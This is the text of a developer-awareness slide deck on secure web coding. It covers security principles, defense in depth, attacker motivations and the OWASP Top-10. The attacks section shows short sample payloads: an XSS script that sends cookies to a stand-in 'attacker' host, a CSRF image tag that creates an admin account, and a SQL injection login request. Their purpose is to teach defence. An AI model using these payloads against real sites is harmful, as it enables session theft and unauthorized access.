Secure Web CodingBecause Infosec peeps come from Mars and

developers come from Venus…

$ whoami<profile> <real_name>Xavier Mertens</real_name> <day_job>Security Consultant</day_job> <night_job>Hacker, Blogger</night_job> <hobby>Your assets, Your data</hobby> <![CDATA[ www.truesec.be blog.rootshell.be;www.brucon.org; www.leakedin.com ]]></profile>

Agenda• You said “security”?

• “Why targeting me? My $DATA are not relevant”

• Infosec Guys VS. Developers

• General principles

• Attacks

• The OWASP Top-10 project

You said “security”?

Goals

• To protect “data”

• To prevent unauthorized access

• To prevent unauthorized modification

• To prevent loss

Information

Integrity

Availability

Confidentiality

Security is relative

• Directly related to your business and needs (internal of external rules)

• Security is measured at a time “T”

• Security is directly related to the weakest point

• Security must be constantly reviewed and adapted

– Bruce Schneier

“Security is a process, not a product.”

“Why attacking me? My $DATA aren’t relevant”

It’s all about $MONEY

• Security has a (huge) cost!

• The efforts must be proportional to the potential damage.

• A system can be considered “secure” if the effort of compromising it are higher than the gain of a breach.

It’s a business!

if $attackerInvestiment < $stolenDataValue: try: exploit() except: find_another_victim()

but…

Different motivations• Money

• Influence

• Fame

• Fun

• Pivot (often underestimated!)

Pivot?“We are always a weakest point for someone else!”

You PartnerMe Trust

Infosec Guys VS.

Developers

“Developers think of ways to make things”

“Security Peeps think of ways to break things”

Infosec Peeps VS. Devs

• Implement boring controls

• Make our daily job difficult

• Are paranoiac • Don’t know the

business

• Just write lines of code • Don’t have a clue

about security • Have short deadlines

(“RTM”) • Re-use pieces of code

(and their bugs)

Business

Management / Compliance

Infosec Guys Developers

General Principles

Security

Features Ease of Use

• Least privilege

• Minimize exposure

• Do not rely on “security by obscurity”

• Defense in depth

Defense in depth“Defense in Depth (also known as Castle Approach) is an information assurance concept in which multiple layers of

security controls (defense) are placed throughout an information technology (IT) system. Its intent is to provide redundancy in the event a security control fails or a

vulnerability is exploited.”

(Source: Wikipedia)

Multiple layers

Server

OS

Webserver

Database

Framework

Application

Firewall, Access-list, physical

HIDS, hardening

WAF

SQL proxy

Hardening

Developers

“But we have a WAF?”

• A WAF provides a false sense of security

• Useful in the following scenarios:

• Legacy application

• 0-day vulnerability

Input ResultsProcess

“Wrong inputs will generate wrong results!”

(Common) Attacks

Automated attacks

• Bots looking for recent (old ;-) vulnerabilities (ex: ShellSock)

• Scanners

• Script kiddies

Targeted attacks

• Usually below the radar and manual

• With a specific goal

XSS• Still remains a dangerous attack in 2014

• Reflective or stored

<script>new Image().src=“http://attacker/cookie.php?c=“+encodeURI(document.cookie);</script>

CSRF• Users surf on multiple websites at the same time

(using tabs)

• Users use admin profiles (like on Windows computers)

<img src=“http://secretsite.com/newuser.php?login=root2&pass=foobar&profile=admin” width=“1” height=“1”

border=“0”>

SQLi• Relevant data are stored in backend DB’s

POST /login.phpuser=admin&pass=foo’%20OR%2034>2;--

Best Practice• Consider every access to the application as

malicious until proven as “safe”

• User input can’t be trusted

• Input data must be validated, encoded & escaped

• Don’t trust other developers (code sharing)

• Don’t trust $VENDORS!

The OWASP Top-10 Project

“The OWASP Top-10 is a powerful awareness document for web application security. It represents a

broad consensus about what the most critical web application security flaws are.”

(Source: OWASP.org)

Top Categories• Injection

• Broken authentication and session management

• Cross-Site Scripting (XSS)

• Insecure direct object references

• Security misconfiguration

• Sensitive data exposure

• Missing function level access control

• Cross-Site Request Forgery (CSRF)

• Using components with known vulnerabilities

• Unvalidated redirects and forwards

http://owasp.org/index.php/Top10

Conclusions

Think “SDLC”!“Software Development Life Cycle”

Requirements

Design

CodingTesting

Deployment

“Thinking as a security guy can help developers to make things that are (more) difficult to break”

Thank You!